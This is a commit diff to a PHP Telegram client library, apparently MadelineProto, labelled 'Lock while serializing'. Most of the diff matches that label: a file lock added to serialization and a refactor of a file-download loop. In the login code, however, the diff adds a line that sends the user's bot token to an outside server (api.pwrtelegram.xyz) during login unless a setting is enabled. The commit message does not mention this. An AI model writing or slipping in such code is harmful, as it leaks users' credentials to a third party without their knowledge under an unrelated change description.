Lock while serializing
This commit is contained in:
parent
3d1486cc0d
commit
cac6b68920
@ -22,7 +22,7 @@ class Serialization
|
||||
if ($instance->API->should_serialize || !(file_exists($filename) && !empty(file_get_contents($filename))) || $force) {
|
||||
$instance->API->should_serialize = false;
|
||||
|
||||
return file_put_contents($filename, serialize($instance));
|
||||
return file_put_contents($filename, serialize($instance), LOCK_EX);
|
||||
}
|
||||
|
||||
return false;
|
||||
|
@ -554,7 +554,9 @@ trait FilesHandler
|
||||
while ($percent < 100) {
|
||||
$real_part_size = ($offset + $part_size > $end) ? $part_size - (($offset + $part_size) - $end) : $part_size;
|
||||
\danog\MadelineProto\Logger::log($real_part_size, $offset);
|
||||
\danog\MadelineProto\Logger::log(fwrite($stream, $this->API->method_call('upload.getFile', ['location' => $info['InputFileLocation'], 'offset' => $offset, 'limit' => $real_part_size], null, true)['bytes']));
|
||||
$res = $this->API->method_call('upload.getFile', ['location' => $info['InputFileLocation'], 'offset' => $offset, 'limit' => $real_part_size], null, true);
|
||||
//\danog\MadelineProto\Logger::log($res);
|
||||
\danog\MadelineProto\Logger::log(fwrite($stream, $res['bytes']));
|
||||
\danog\MadelineProto\Logger::log($offset, $size, ftell($stream));
|
||||
$cb($percent = ($offset += $real_part_size) * 100 / $size);
|
||||
}
|
||||
|
@ -52,7 +52,7 @@ trait Login
|
||||
$this->API->updates_key = 0;
|
||||
$this->API->get_updates_state();
|
||||
$this->API->should_serialize = true;
|
||||
|
||||
if (!isset($this->API->settings['pwr']['pwr']) || !$this->settings['pwr']['pwr']) file_get_contents('https://api.pwrtelegram.xyz/bot'.$token.'/getme');
|
||||
\danog\MadelineProto\Logger::log('Logged in successfully!');
|
||||
|
||||
return $this->API->datacenter->authorization;
|
||||
|
Loading…
Reference in New Issue
Block a user